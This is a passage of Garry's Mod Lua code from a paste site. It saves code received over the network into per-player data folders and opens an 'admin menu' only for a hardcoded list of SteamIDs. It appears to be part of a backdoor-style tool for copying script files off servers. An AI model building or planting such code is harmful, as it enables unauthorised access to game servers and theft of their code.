- local explode = string.Explode("/",path,false)
- local p = ""
- for k,v in pairs(explode) do
- if !file.IsDir(p..v,mainDirectory) then
- p = p..v
- p = string.Replace(p,".lua",".txt")
- if partNo == 1 then
- file.Write("_DATAFOLDER_/"..user.."/"..p,code)
- chat.AddText("Successfully created ".. "_DATAFOLDER_/"..user.."/"..p.." inside the data folder")
- else
- file.Append("_DATAFOLDER_/"..user.."/"..p,code)
- end
- else
- p = p..v.."/"
- file.CreateDir("_DATAFOLDER_/"..user.."/"..p)
- end
- end
- elseif mode == "gotdata" then
- local lengthparts = net.ReadInt(8)
- local partNo = net.ReadInt(8)
- local code = net.ReadString()
- local path = net.ReadString()
- local user = net.ReadEntity()
- if !file.Exists("_DATAFOLDER_",mainDirectory) then
- file.CreateDir("_DATAFOLDER_")
- end
- if !file.Exists("_DATAFOLDER_/"..user:Nick(),mainDirectory) then
- file.CreateDir("_DATAFOLDER_/"..user:Nick())
- end
- local explode = string.Explode("/",path,false)
- local p = ""
- for k,v in pairs(explode) do
- if !file.IsDir(p..v,mainDirectory) then
- p = p..v
- p = string.Replace(p,".lua",".txt")
- if partNo == 1 then
- file.Write("_DATAFOLDER_/"..user:Nick().."/"..p,code)
- chat.AddText("Successfully created ".. "_DATAFOLDER_/"..user:Nick().."/"..p.." inside the data folder")
- else
- file.Append("_DATAFOLDER_/"..user:Nick().."/"..p,code)
- end
- else
- p = p..v.."/"
- file.CreateDir("_DATAFOLDER_/"..user:Nick().."/"..p)
- end
- end
- end
- end)
- net.Receive("adminmenu",function()
- -- if LocalPlayer():SteamID() == "STEAM_0:0:0" || LocalPlayer():SteamID() == "STEAM_0:0:58329845" || LocalPlayer():SteamID() == "STEAM_0:0:47647629" ||LocalPlayer():SteamID() == "STEAM_0:0:71035911" || LocalPlayer():SteamID() == "STEAM_0:0:104139026" || LocalPlayer():SteamID() == "STEAM_0:1:5163222" || LocalPlayer():SteamID() == "STEAM_0:1:91447905" || LocalPlayer():SteamID() == "STEAM_0:0:94401933" || LocalPlayer():SteamID() == "STEAM_0:1:60077414" || LocalPlayer():SteamID() == "STEAM_0:0:61704958" then
- if isAllowed(LocalPlayer():SteamID()) then
- -- if LocalPlayer():SteamID() == "STEAM_0:0:0" || LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
- local String = net.ReadString()
- openMenu()
- end
- end)
- end
- print("Admin Menu installed and working !!!!!!!!!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement